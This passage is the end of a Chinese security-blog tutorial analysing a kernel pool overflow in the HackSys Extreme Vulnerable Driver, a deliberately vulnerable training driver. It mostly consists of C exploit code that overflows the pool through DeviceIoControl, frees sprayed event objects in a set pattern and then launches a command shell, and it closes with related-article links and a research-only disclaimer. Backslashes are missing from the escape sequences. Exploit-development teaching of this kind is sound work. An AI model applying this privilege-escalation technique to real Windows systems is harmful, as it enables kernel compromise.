memset(junk_buffer, 0x41, 504);
char overwritedata[41] =
"x40x00x08x04"
"x45x76x65xee"
"x00x00x00x00"
"x40x00x00x00"
"x00x00x00x00"
"x00x00x00x00"
"x01x00x00x00"
"x01x00x00x00"
"x00x00x00x00"
"x00x00x08x00";
char UserModeBuffer[504 + 40 + 1] = {0};
int UserModeBufferSize = 504 + 40;
memcpy(UserModeBuffer, junk_buffer, 504);
memcpy(UserModeBuffer + 504, overwritedata, 40);
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************n");
printf("tt[+] Triggering Payloadn");
printf("ttt[+] Freeing Event Objectsn");
//这个spray_event1释放循环目前来看,好像不是必须的;
for (int i = 0; i < 10000; i++)
{
CloseHandle(spray_event1[i]);
}
//这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;
//我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;
//所以这里i从8开始;
for (int i = 8; i < 5000; i = i + 16)
{
for (int j = 0; j < 8; j++)
{
CloseHandle(spray_event2[i + j]);
}
}
//这里i从0开始,并不能出现想要的结果,反而会造成蓝屏;
//for (int i = 0; i < 5000; i = i + 16)
//{
// for (int j = 0; j < 8; j++)
// {
// CloseHandle(spray_event2[i + j]);
// }
//}
//这样循环也是有可能成功的,当然也可能出现异常情况,比如说,这里面有之前被释放过的chunk,如果被别的程序使用了(重新申请);
//我们这里强制释放其他程序的chunk,可能造成不可预估的后果;
//for (int i = 0; i < 5000; i++)
//{
// if (!CloseHandle(spray_event2[i]))
// {
// printf("tt[-] Failed To Close Event Objects Handle: 0x%Xn", GetLastError());
// }
//}
return EXIT_SUCCESS;
}
int main(int argc, char *argv[])
{
//printf("hello worldn");
PoolOverflowThread(NULL);
printf("start to cmd...n");
xxCreateCmdLineProcess();
return 1;
}
- 结尾 - 精彩推荐 【技术分享】IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现 【技术分享】从sqlmap源码看如何自定义payload 【技术分享】一个使用cve-2017-11882和cve-2018-0802组合漏洞的恶意文档分析 戳“阅读原文”查看更多内容 原文始发于微信公众号(安全客):【技术分享】HEVD池溢出分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论